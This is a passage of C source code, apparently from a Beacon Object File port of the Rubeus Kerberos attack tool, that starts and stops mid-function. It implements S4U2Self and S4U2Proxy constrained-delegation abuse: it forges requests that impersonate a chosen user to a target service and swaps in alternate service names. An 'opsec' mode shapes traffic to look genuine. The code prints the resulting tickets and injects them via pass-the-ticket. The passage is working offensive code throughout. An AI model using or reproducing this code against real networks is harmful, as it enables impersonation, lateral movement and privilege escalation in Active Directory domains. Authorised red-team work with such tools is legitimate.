TRUE;\n\n        info.sname = encRepPart.sname;\n        info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n        for (int i = 0; i < info.sname.name_count; i++)\n            if (my_copybuf(&(info.sname.name_string[i]), encRepPart.sname.name_string[i], my_strlen(encRepPart.sname.name_string[i]) + 1)) return TRUE;\n\n        cred.enc_part.ticket_count = 1;\n        cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n        if (!cred.enc_part.ticket_info) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.enc_part.ticket_info[0] = info;\n\n        AsnElt asnCred = { 0 };\n        if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n        byte* kirbiBytes = NULL;\n        int   kirbiBytesSize = 0;\n        if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n        char* ticket = base64_encode(kirbiBytes, kirbiBytesSize);\n\n        PRINT_OUT(\"[+] TGS request successful!\\n\");\n        PRINT_OUT(\"[*] base64(ticket.kirbi):\\n\\n%s\\n\\n\", ticket);\n\n        if (display) {\n            DescribeTicket(ticket);\n        }\n\n        *retTgsBytes = kirbiBytes;\n        *retTgsBytesLength = kirbiBytesSize;\n        return FALSE;\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n        PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n//        PRINT_OUT(\"\\n\\t[x] Kerberos error : %s\\n\", lookupKrbErrorCode(error_code));\n    }\n    else {\n        PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", responseAsn.tagValue);\n    }\n\n    return TRUE;\n}\n\nBOOL S4U2Proxy(KRB_CRED kirbi, char* targetUser, char* targetSPN, char* domainController, char* altService, KRB_CRED tgs, BOOL opsec, BOOL ptt) {\n    PRINT_OUT(\"[*] Impersonating user '%s' to target SPN '%s'\\n\", targetUser, targetSPN);\n    char** altSnames = 0;\n    int altsvcCount = 0;\n    if (altService) {\n        char* altsvc = 0;\n        if (my_copybuf(&(altsvc), altService, my_strlen(altService) + 1)) return TRUE;\n\n        altsvcCount = 0;\n        altSnames = my_strsplit( altsvc, ',', &altsvcCount );\n\n        if (altsvcCount == 1)\n            PRINT_OUT(\"[*]   Final ticket will be for the alternate service '%s'\\n\", altService);\n        else\n            PRINT_OUT(\"[*]   Final tickets will be for the alternate services '%s'\\n\", altService);\n    }\n\n    // extract out the info needed for the TGS-REQ/S4U2Proxy execution\n    char* userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];\n    char* domain = kirbi.enc_part.ticket_info[0].prealm;\n    Ticket ticket = kirbi.tickets[0];\n    EncryptionKey clientKey = kirbi.enc_part.ticket_info[0].key;\n\n    PRINT_OUT(\"[*] Building S4U2proxy request for service: '%s'\\n\", targetSPN);\n\n    AS_REQ s4u2proxyReq = { 0 };\n    s4u2proxyReq.pvno = 5;\n    s4u2proxyReq.msg_type = KERB_TGS_REQ;\n    s4u2proxyReq.req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK | CONSTRAINED_DELEGATION;\n    if (!opsec) {\n        s4u2proxyReq.req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    }\n    s4u2proxyReq.req_body.till = 1 * 3600;   // valid for 1h\n    ADVAPI32$SystemFunction036(&(s4u2proxyReq.req_body.nonce), 4);\n\n    if (my_copybuf(&(s4u2proxyReq.req_body.realm), domain, my_strlen(domain) + 1)) return TRUE;\n//\n    char* spn = 0;\n    if (my_copybuf(&(spn), targetSPN, my_strlen(targetSPN) + 1)) return TRUE;\n\n    int partsCount = 0;\n    char** parts = my_strsplit( spn, '/', &partsCount );\n    if (partsCount < 2)\n        return TRUE;\n\n    char* serverName = parts[partsCount - 1];\n    s4u2proxyReq.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n    s4u2proxyReq.req_body.sname.name_count = partsCount;\n    s4u2proxyReq.req_body.sname.name_string = MemAlloc(sizeof(void*) * s4u2proxyReq.req_body.sname.name_count);\n    for (int i = 0; i < partsCount; i++)\n        s4u2proxyReq.req_body.sname.name_string[i] = parts[i];\n\n    if (opsec) {\n        s4u2proxyReq.req_body.etypes_count = 5;\n        s4u2proxyReq.req_body.etypes = MemAlloc(s4u2proxyReq.req_body.etypes_count * sizeof(DWORD));\n        s4u2proxyReq.req_body.etypes[0] = aes128_cts_hmac_sha1;\n        s4u2proxyReq.req_body.etypes[1] = aes256_cts_hmac_sha1;\n        s4u2proxyReq.req_body.etypes[2] = rc4_hmac;\n        s4u2proxyReq.req_body.etypes[3] = rc4_hmac_exp;\n        s4u2proxyReq.req_body.etypes[4] = old_exp;\n    }\n    else {\n        s4u2proxyReq.req_body.etypes_count = 3;\n        s4u2proxyReq.req_body.etypes = MemAlloc(s4u2proxyReq.req_body.etypes_count * sizeof(DWORD));\n        s4u2proxyReq.req_body.etypes[0] = aes128_cts_hmac_sha1;\n        s4u2proxyReq.req_body.etypes[1] = aes256_cts_hmac_sha1;\n        s4u2proxyReq.req_body.etypes[2] = rc4_hmac;\n    }\n\n    s4u2proxyReq.req_body.additional_tickets_count = 1;\n    s4u2proxyReq.req_body.additional_tickets = MemAlloc(s4u2proxyReq.req_body.additional_tickets_count * sizeof(Ticket));\n    s4u2proxyReq.req_body.additional_tickets[0] = tgs.tickets[0];\n\n    byte* cksum_Bytes = NULL;\n    int cksum_Bytes_length = 0;\n\n    if (opsec) {\n        // remove renewableok and add canonicalize\n        s4u2proxyReq.req_body.kdc_options = s4u2proxyReq.req_body.kdc_options ^ (s4u2proxyReq.req_body.kdc_options & RENEWABLEOK);\n        s4u2proxyReq.req_body.kdc_options = s4u2proxyReq.req_body.kdc_options | CANONICALIZE;\n\n        // 15 minutes in the future like genuine requests\n        s4u2proxyReq.req_body.till = 900;\n\n        // get hostname and hostname of SPN\n        int size = MAX_COMPUTERNAME_LENGTH + 2;\n        char* hostname = MemAlloc(size);\n        if (!hostname) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        KERNEL32$GetComputerNameA(hostname, &size);\n\n        char* targetHostName;\n        if (partsCount > 1) {\n            int substrIndex = my_strfind(parts[1], '.');\n            if (substrIndex < 0)\n                substrIndex = my_strlen(parts[1]) + 1;\n\n            my_copybuf(&(targetHostName), parts[1], substrIndex);\n            targetHostName[substrIndex] = 0;\n            StrToUpper(targetHostName);\n        }\n        else {\n            my_copybuf(&(targetHostName), hostname, my_strlen(hostname) + 1);\n        }\n\n        // create enc-authorization-data if target host is not the local machine\n        if (my_strcmp(hostname, targetHostName)) {\n\n            ADIfRelevant ifrelevant = { 0 };\n            ifrelevant.ad_type = 1;\n            ifrelevant.ADData_count = 2;\n            ifrelevant.ADData = MemAlloc(2 * sizeof(void*));\n\n            ADRestrictionEntry restrictions = { 0 };\n            restrictions.ad_type = 141; // KERB_AUTH_DATA_TOKEN_RESTRICTIONS;\n            restrictions.restriction_type = 0;\n            restrictions.restriction_length = 40;\n            restrictions.restriction = ADRestrictionEntry_buildTokenStruct(1, 8192);\n\n            ADKerbLocal kerbLocal = { 0 };\n            kerbLocal.ad_type = 142; // KERB_LOCAL\n            kerbLocal.ad_data_length = 16;\n            kerbLocal.ad_data = MemAlloc(16);\n            ADVAPI32$SystemFunction036(kerbLocal.ad_data, 16);\n\n            ifrelevant.ADData[0] = &restrictions;\n            ifrelevant.ADData[1] = &kerbLocal;\n\n            AsnElt authDataSeq = { 0 }, authDataSeqContext = { 0 };\n            if (AsnADIfRelevantEncode(&ifrelevant, &authDataSeq)) return TRUE;\n            if (Make3(ASN_SEQUENCE, &authDataSeq, 1, &authDataSeqContext)) return TRUE;\n\n            byte* authorizationDataBytes = NULL;\n            int authorizationDataBytesLegth = 0;\n            if (AsnToBytesEncode(&authDataSeqContext, &authorizationDataBytesLegth, &authorizationDataBytes)) return TRUE;\n\n            s4u2proxyReq.req_body.enc_authorization_data.etype = tgs.enc_part.ticket_info[0].key.key_type;\n\n            byte* enc_authorization_data = NULL;\n            int enc_authorization_data_length = 0;\n            if (encrypt(authorizationDataBytes, authorizationDataBytesLegth, tgs.enc_part.ticket_info[0].key.key_value, tgs.enc_part.ticket_info[0].key.key_type, KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA,\n                        &(s4u2proxyReq.req_body.enc_authorization_data.cipher), &(s4u2proxyReq.req_body.enc_authorization_data.cipher_size))) return TRUE;\n        }\n\n        // encode req_body for authenticator cksum\n        AsnElt req_Body_ASN = { 0 }, req_Body_ASNSeq = { 0 }, req_Body_ASNSeqContext = { 0 };\n        if (AsnKDCReqBodyEncode(&(s4u2proxyReq.req_body), &req_Body_ASN)) return TRUE;\n        if (Make3(ASN_SEQUENCE, &req_Body_ASN, 1, &req_Body_ASNSeq)) return TRUE;\n        if (MakeImplicit(ASN_CONTEXT, 4, &req_Body_ASNSeq, &req_Body_ASNSeqContext)) return TRUE;\n\n        int req_Body_Bytes_length = ValueLength(&req_Body_ASNSeqContext);\n        byte* req_Body_Bytes = MemAlloc(req_Body_Bytes_length);\n        req_Body_Bytes_length = EncodeValue(&req_Body_ASNSeqContext, 0, req_Body_Bytes_length, req_Body_Bytes, 0);\n\n        checksum(clientKey.key_value, clientKey.key_size, req_Body_Bytes, req_Body_Bytes_length, KERB_CHECKSUM_RSA_MD5, KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT, &cksum_Bytes, &cksum_Bytes_length);\n    }\n\n    // moved to end so we can have the checksum in the authenticator\n    PA_DATA padata = { 0 };\n    if (New_PA_DATA(domain, userName, ticket, clientKey, opsec, cksum_Bytes, cksum_Bytes_length, &padata)) return TRUE;\n\n    s4u2proxyReq.pa_data_count = 2;\n    s4u2proxyReq.pa_data = MemAlloc(s4u2proxyReq.pa_data_count * sizeof(PA_DATA));\n    s4u2proxyReq.pa_data[0] = padata;\n\n    PA_DATA pac_options = { 0 };\n    if (New_PA_DATA_options(FALSE, FALSE, FALSE, TRUE, &pac_options)) return TRUE;\n    s4u2proxyReq.pa_data[1] = pac_options;\n\n    byte* reqBytes = NULL;\n    int   reqBytesSize = 0;\n    AsnElt s4u2proxyReqAsn = { 0 };\n    if (ReqToAsnEncode(s4u2proxyReq, 12, &s4u2proxyReqAsn)) return TRUE;\n    if (AsnToBytesEncode(&s4u2proxyReqAsn, &reqBytesSize, &reqBytes)) return TRUE;\n\n    byte* response2 = NULL;\n    int response2Size = 0;\n    sendBytes(domainController, \"88\", reqBytes, reqBytesSize, &response2, &response2Size);\n    if (response2Size == 0)\n        return TRUE;\n\n    // decode the supplied bytes to an AsnElt object --- FALSE == ignore trailing garbage\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode(response2, response2Size, &responseAsn)) return TRUE;\n\n    if (responseAsn.tagValue == KERB_TGS_REP) {\n        PRINT_OUT(\"[+] S4U2proxy success!\\n\");\n\n        TGS_REP rep2 = { 0 };\n        if (AsnGetTGS_REP(&responseAsn, &rep2)) return TRUE;\n\n        byte* outBytes2 = NULL;\n        int  outBytes2Length = 0;\n        if (decrypt(clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, rep2.enc_part.cipher, rep2.enc_part.cipher_size, &outBytes2, &outBytes2Length)) return TRUE;\n\n        AsnElt ae2 = { 0 };\n        if (BytesToAsnDecode(outBytes2, outBytes2Length, &ae2)) return TRUE;\n\n        EncKDCRepPart encRepPart2 = { 0 };\n        if (AsnGetEncKDCRepPart(&(ae2.sub[0]), &encRepPart2)) return TRUE;\n\n        if (altService) {\n            for (int ind = 0; ind < altsvcCount; ind++) {\n                // now build the final KRB-CRED structure with one or more alternate snames\n                KRB_CRED cred = { 0 };\n                cred.pvno = 5;\n                cred.msg_type = 22;\n\n                // since we want an alternate sname, first substitute it into the ticket structure\n                rep2.ticket.sname.name_string[0] = altSnames[ind];\n\n                cred.ticket_count = 1;\n                cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n                if (!cred.tickets) {\n                    PRINT_OUT(\"[x] Failed alloc memory\");\n                    return TRUE;\n                }\n                cred.tickets[0] = rep2.ticket;\n\n                KrbCredInfo info = { 0 };\n\n                info.key = encRepPart2.key;\n                if (my_copybuf(&(info.key.key_value), encRepPart2.key.key_value, encRepPart2.key.key_size)) return TRUE;\n\n                if (my_copybuf(&(info.prealm), encRepPart2.realm, my_strlen(encRepPart2.realm) + 1)) return TRUE;\n\n                info.pname = rep2.cname;\n                info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n                for (int i = 0; i < info.pname.name_count; i++)\n                    if (my_copybuf(&(info.pname.name_string[i]), rep2.cname.name_string[i], my_strlen(rep2.cname.name_string[i]) + 1)) return TRUE;\n\n                info.flags = encRepPart2.flags;\n                info.starttime = encRepPart2.starttime;\n                info.endtime = encRepPart2.endtime;\n                info.renew_till = encRepPart2.renew_till;\n\n                if (my_copybuf(&(info.srealm), encRepPart2.realm, my_strlen(encRepPart2.realm) + 1)) return TRUE;\n\n                info.sname = encRepPart2.sname;\n                info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n                for (int i = 0; i < info.sname.name_count; i++)\n                    if (my_copybuf(&(info.sname.name_string[i]), encRepPart2.sname.name_string[i], my_strlen(encRepPart2.sname.name_string[i]) + 1)) return TRUE;\n\n                // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED\n                PRINT_OUT(\"[*] Substituting alternative service name '%s'\\n\", altSnames[ind]);\n                info.sname.name_string[0] = altSnames[ind];\n\n                cred.enc_part.ticket_count = 1;\n                cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n                if (!cred.enc_part.ticket_info) {\n                    PRINT_OUT(\"[x] Failed alloc memory\");\n                    return TRUE;\n                }\n                cred.enc_part.ticket_info[0] = info;\n\n                AsnElt asnCred = { 0 };\n                if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n                byte* kirbiBytes = NULL;\n                int   kirbiBytesSize = 0;\n                if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n                char* kirbiString = base64_encode(kirbiBytes, kirbiBytesSize);\n\n                PRINT_OUT(\"[*] base64(ticket.kirbi) for SPN '%s/%s':\\n\\n\", altSnames[ind], serverName);\n                PRINT_OUT(\"%s\\n\\n\", kirbiString);\n\n                if (ptt)\n                    PTT(NULL, kirbiString);\n            }\n        }\n        else {\n            // now build the final KRB-CRED structure, no alternate snames\n            KRB_CRED cred = { 0 };\n            cred.pvno = 5;\n            cred.msg_type = 22;\n            cred.ticket_count = 1;\n            cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n            if (!cred.tickets) {\n                PRINT_OUT(\"[x] Failed alloc memory\");\n                return TRUE;\n            }\n            cred.tickets[0] = rep2.ticket;\n\n            KrbCredInfo info = { 0 };\n\n            info.key = encRepPart2.key;\n            if (my_copybuf(&(info.key.key_value), encRepPart2.key.key_value, encRepPart2.key.key_size)) return TRUE;\n\n            if (my_copybuf(&(info.prealm), encRepPart2.realm, my_strlen(encRepPart2.realm) + 1)) return TRUE;\n\n            info.pname = rep2.cname;\n            info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n            for (int i = 0; i < info.pname.name_count; i++)\n                if (my_copybuf(&(info.pname.name_string[i]), rep2.cname.name_string[i], my_strlen(rep2.cname.name_string[i]) + 1)) return TRUE;\n\n            info.flags = encRepPart2.flags;\n            info.starttime = encRepPart2.starttime;\n            info.endtime = encRepPart2.endtime;\n            info.renew_till = encRepPart2.renew_till;\n\n            if (my_copybuf(&(info.srealm), encRepPart2.realm, my_strlen(encRepPart2.realm) + 1)) return TRUE;\n\n            info.sname = encRepPart2.sname;\n            info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n            for (int i = 0; i < info.sname.name_count; i++)\n                if (my_copybuf(&(info.sname.name_string[i]), encRepPart2.sname.name_string[i], my_strlen(encRepPart2.sname.name_string[i]) + 1)) return TRUE;\n\n            cred.enc_part.ticket_count = 1;\n            cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n            if (!cred.enc_part.ticket_info) {\n                PRINT_OUT(\"[x] Failed alloc memory\");\n                return TRUE;\n            }\n            cred.enc_part.ticket_info[0] = info;\n\n            AsnElt asnCred = { 0 };\n            if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n            byte* kirbiBytes = NULL;\n            int   kirbiBytesSize = 0;\n            if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n            char* kirbiString = base64_encode(kirbiBytes, kirbiBytesSize);\n\n            PRINT_OUT(\"[*] base64(ticket.kirbi) for SPN '%s':\\n\\n\", targetSPN);\n            PRINT_OUT(\"%s\\n\\n\", kirbiString);\n\n            if (ptt)\n                PTT(NULL, kirbiString);\n        }\n        return FALSE;\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n        PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n    }\n    else {\n        PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", responseAsn.tagValue);\n    }\n\n    return TRUE;\n}\n\nBOOL CrossDomainS4U2Self(char* userName, char* user, char* domain, char* targetUser, char* targetDomain, char* targetDomainController, Ticket ticket, EncryptionKey clientKey, int requestEType, BOOL cross, char* altService, BOOL self, BOOL ptt, char* requestDomain, KRB_CRED* retKrbCred) {\n    PRINT_OUT(\"[*] Requesting the cross realm 'S4U2Self' for %s from %s\\n\", targetUser, targetDomainController);\n\n    byte* tgsBytes = NULL;\n    int\t  tgsBytesLength = 0;\n    if (NewTGS_target_REQ(userName, user, domain, targetUser, targetDomain, ticket, clientKey, requestEType, cross, requestDomain, &tgsBytes, &tgsBytesLength)) return TRUE;\n\n    PRINT_OUT(\"[*] Sending cross realm S4U2Self request\\n\");\n    byte* response = NULL;\n    int   responseSize = 0;\n    sendBytes(targetDomainController, \"88\", tgsBytes, tgsBytesLength, &response, &responseSize);\n    if (responseSize == 0)\n        return TRUE;\n\n    // decode the supplied bytes to an AsnElt object\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode3(response, responseSize, FALSE, &responseAsn)) return TRUE;\n    if (responseAsn.tagValue == KERB_TGS_REP) {\n        PRINT_OUT(\"[+] cross realm S4U2Self success!\\n\");\n\n        TGS_REP rep = { 0 };\n        if (NewTGS_REP(responseAsn, &rep)) return TRUE;\n\n        byte* outBytes = NULL;\n        int  outBytesLength = 0;\n        if (decrypt(clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, rep.enc_part.cipher, rep.enc_part.cipher_size, &outBytes, &outBytesLength)) return TRUE;\n\n        AsnElt ae = { 0 };\n        if (BytesToAsnDecode3(outBytes, outBytesLength, FALSE, &ae)) return TRUE;\n\n        EncKDCRepPart encRepPart = { 0 };\n        if (AsnGetEncKDCRepPart(&(ae.sub[0]), &encRepPart)) return TRUE;\n\n        // build the final KRB-CRED structure\n        KRB_CRED cred = { 0 };\n        cred.pvno = 5;\n        cred.msg_type = 22;\n        cred.ticket_count = 1;\n        cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n        if (!cred.tickets) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.tickets[0] = rep.ticket;\n\n        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart\n        KrbCredInfo info = { 0 };\n\n        info.key = encRepPart.key;\n        if (my_copybuf(&(info.key.key_value), encRepPart.key.key_value, encRepPart.key.key_size)) return TRUE;\n\n        if (my_copybuf(&(info.prealm), rep.crealm, my_strlen(rep.crealm) + 1)) return TRUE;\n\n        info.pname = rep.cname;\n        info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n        for (int i = 0; i < info.pname.name_count; i++)\n            if (my_copybuf(&(info.pname.name_string[i]), rep.cname.name_string[i], my_strlen(rep.cname.name_string[i]) + 1)) return TRUE;\n\n        info.flags = encRepPart.flags;\n        info.starttime = encRepPart.starttime;\n        info.endtime = encRepPart.endtime;\n        info.renew_till = encRepPart.renew_till;\n\n        if (my_copybuf(&(info.srealm), rep.crealm, my_strlen(rep.crealm) + 1)) return TRUE;\n\n        info.sname = encRepPart.sname;\n        info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n        for (int i = 0; i < info.sname.name_count; i++)\n            if (my_copybuf(&(info.sname.name_string[i]), encRepPart.sname.name_string[i], my_strlen(encRepPart.sname.name_string[i]) + 1)) return TRUE;\n\n        cred.enc_part.ticket_count = 1;\n        cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n        if (!cred.enc_part.ticket_info) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.enc_part.ticket_info[0] = info;\n\n        AsnElt asnCred = { 0 };\n        if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n        byte* kirbiBytes = NULL;\n        int   kirbiBytesSize = 0;\n        if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n        char* ticket = base64_encode(kirbiBytes, kirbiBytesSize);\n\n        PRINT_OUT(\"[*] base64(ticket.kirbi):\\n\\n    %s\\n\\n\", ticket);\n        DescribeTicket(ticket);\n        PRINT_OUT(\"\\n\");\n        if (ptt)\n            PTT(NULL, ticket);\n\n\n        AsnElt asn_KRB_CRED = { 0 };\n        if (BytesToAsnDecode3(kirbiBytes, kirbiBytesSize, FALSE, &asn_KRB_CRED)) return TRUE;\n        if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), retKrbCred)) return TRUE;\n        return FALSE;\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n        PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n    }\n    else {\n        PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", responseAsn.tagValue);\n    }\n    return TRUE;\n}\n\nBOOL CrossDomainS4U2Proxy(char* userName, char* user, char* domain, char* targetDomain, char* targetSPN, char* targetDomainController, Ticket ticket, EncryptionKey clientKey, int requestEType, Ticket tgs, BOOL cross, BOOL ptt, KRB_CRED* retKrbCred) {\n    PRINT_OUT(\"[*] Building S4U2proxy request for service: '%s' on %s\\n\", targetSPN, targetDomainController);\n\n    AS_REQ s4u2proxyReq = { 0 };\n\n    s4u2proxyReq.pvno = 5;\n    s4u2proxyReq.msg_type = 12;\n\n    s4u2proxyReq.req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK;\n    s4u2proxyReq.req_body.till = 24 * 3600;\t\t     // valid for 1h\n    ADVAPI32$SystemFunction036(&(s4u2proxyReq.req_body.nonce), 4);\n\n    // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.\n    PA_DATA padata = { 0 };\n    if (New_PA_DATA(domain, user, ticket, clientKey, FALSE, NULL, 0, &padata)) return TRUE;\n\n    PA_DATA pac_options = { 0 };\n    if (New_PA_DATA_options(FALSE, FALSE, FALSE, TRUE, &pac_options)) return TRUE;\n\n    s4u2proxyReq.pa_data_count = 2;\n    s4u2proxyReq.pa_data = MemAlloc(s4u2proxyReq.pa_data_count * sizeof(PA_DATA));\n    s4u2proxyReq.pa_data[0] = padata;\n    s4u2proxyReq.pa_data[1] = pac_options;\n\n    s4u2proxyReq.req_body.kdc_options = s4u2proxyReq.req_body.kdc_options | CONSTRAINED_DELEGATION | CANONICALIZE;\n    s4u2proxyReq.req_body.kdc_options = s4u2proxyReq.req_body.kdc_options ^ (s4u2proxyReq.req_body.kdc_options & RENEWABLEOK);\n\n    // which domain is the \"local\" domain for this TGS\n    if (cross) {\n      if (my_copybuf(&(s4u2proxyReq.req_body.realm), targetDomain, my_strlen(targetDomain) + 1)) return TRUE;\n    }\n    else {\n      if (my_copybuf(&(s4u2proxyReq.req_body.realm), domain, my_strlen(domain) + 1)) return TRUE;\n    }\n\n    char* spns = NULL;\n    if (my_copybuf(&spns, targetSPN, my_strlen(targetSPN) + 1)) return TRUE;\n\n    int partsCount = 0;\n    char** parts = my_strsplit( spns, '/', &partsCount );\n\n    s4u2proxyReq.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n    s4u2proxyReq.req_body.sname.name_count = partsCount;\n    s4u2proxyReq.req_body.sname.name_string = MemAlloc(s4u2proxyReq.req_body.sname.name_count * sizeof(void*));\n    for (int i = 0; i < partsCount; i++)\n      my_copybuf(&(s4u2proxyReq.req_body.sname.name_string[i]), parts[i], my_strlen(parts[i]) + 1);\n\n    s4u2proxyReq.req_body.etypes_count = 3;\n    s4u2proxyReq.req_body.etypes = MemAlloc(sizeof(int) * s4u2proxyReq.req_body.etypes_count);\n    s4u2proxyReq.req_body.etypes[0] = aes128_cts_hmac_sha1;\n    s4u2proxyReq.req_body.etypes[1] = aes256_cts_hmac_sha1;\n    s4u2proxyReq.req_body.etypes[2] = rc4_hmac;\n\n    s4u2proxyReq.req_body.additional_tickets_count = 1;\n    s4u2proxyReq.req_body.additional_tickets = MemAlloc(s4u2proxyReq.req_body.additional_tickets_count * sizeof(Ticket));\n    s4u2proxyReq.req_body.additional_tickets[0] = tgs;\n\n    byte* s4ubytes = NULL;\n    int s4ubytesSize = 0;\n    AsnElt s4u2proxyReqAsn = { 0 };\n    if (ReqToAsnEncode(s4u2proxyReq, 12, &s4u2proxyReqAsn)) return TRUE;\n    if (AsnToBytesEncode(&s4u2proxyReqAsn, &s4ubytesSize, &s4ubytes)) return TRUE;\n\n    PRINT_OUT(\"[*] Sending S4U2proxy request\\n\");\n\n    byte* response = NULL;\n    int   responseSize = 0;\n    sendBytes(targetDomainController, \"88\", s4ubytes, s4ubytesSize, &response, &responseSize);\n    if (responseSize == 0)\n      return TRUE;\n\n    // decode the supplied bytes to an AsnElt object\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode3(response, responseSize, FALSE, &responseAsn)) return TRUE;\n    if (responseAsn.tagValue == KERB_TGS_REP) {\n\n      PRINT_OUT(\"[+] S4U2proxy success!\\n\");\n\n      TGS_REP rep = { 0 };\n      if (NewTGS_REP(responseAsn, &rep)) return TRUE;\n\n      byte* outBytes = NULL;\n      int  outBytesLength = 0;\n      if (decrypt(clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, rep.enc_part.cipher, rep.enc_part.cipher_size, &outBytes, &outBytesLength)) return TRUE;\n\n      AsnElt ae = { 0 };\n      if (BytesToAsnDecode3(outBytes, outBytesLength, FALSE, &ae)) return TRUE;\n\n      EncKDCRepPart encRepPart = { 0 };\n      if (AsnGetEncKDCRepPart(&(ae.sub[0]), &encRepPart)) return TRUE;\n\n      KRB_CRED cred = { 0 };\n      cred.pvno = 5;\n      cred.msg_type = 22;\n\n      cred.ticket_count = 1;\n      cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n      if (!cred.tickets) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n      }\n      cred.tickets[0] = rep.ticket;\n\n      // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart\n      KrbCredInfo info = { 0 };\n\n      info.key = encRepPart.key;\n      if (my_copybuf(&(info.key.key_value), encRepPart.key.key_value, encRepPart.key.key_size)) return TRUE;\n\n      if (my_copybuf(&(info.prealm), encRepPart.realm, my_strlen(encRepPart.realm) + 1)) return TRUE;\n\n      info.pname = rep.cname;\n      info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n      for (int i = 0; i < info.pname.name_count; i++)\n        if (my_copybuf(&(info.pname.name_string[i]), rep.cname.name_string[i], my_strlen(rep.cname.name_string[i]) + 1)) return TRUE;\n\n      info.flags = encRepPart.flags;\n      info.starttime = encRepPart.starttime;\n      info.endtime = encRepPart.endtime;\n      info.renew_till = encRepPart.renew_till;\n\n      if (my_copybuf(&(info.srealm), encRepPart.realm, my_strlen(encRepPart.realm) + 1)) return TRUE;\n\n      info.sname = encRepPart.sname;\n      info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n      for (int i = 0; i < info.sname.name_count; i++)\n        if (my_copybuf(&(info.sname.name_string[i]), encRepPart.sname.name_string[i], my_strlen(encRepPart.sname.name_string[i]) + 1)) return TRUE;\n\n      cred.enc_part.ticket_count = 1;\n      cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n      if (!cred.enc_part.ticket_info) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n      }\n      cred.enc_part.ticket_info[0] = info;\n\n      AsnElt asnCred = { 0 };\n      if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n      byte* kirbiBytes = NULL;\n      int   kirbiBytesSize = 0;\n      if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n      char* ticket = base64_encode(kirbiBytes, kirbiBytesSize);\n\n      PRINT_OUT(\"[*] base64(ticket.kirbi) for SPN '%s':\\n\\n    %s\\n\\n\", targetSPN, ticket);\n\n      if (ptt && cross)\n        PTT(NULL, ticket);\n\n\n      AsnElt asn_KRB_CRED = { 0 };\n      if (BytesToAsnDecode3(kirbiBytes, 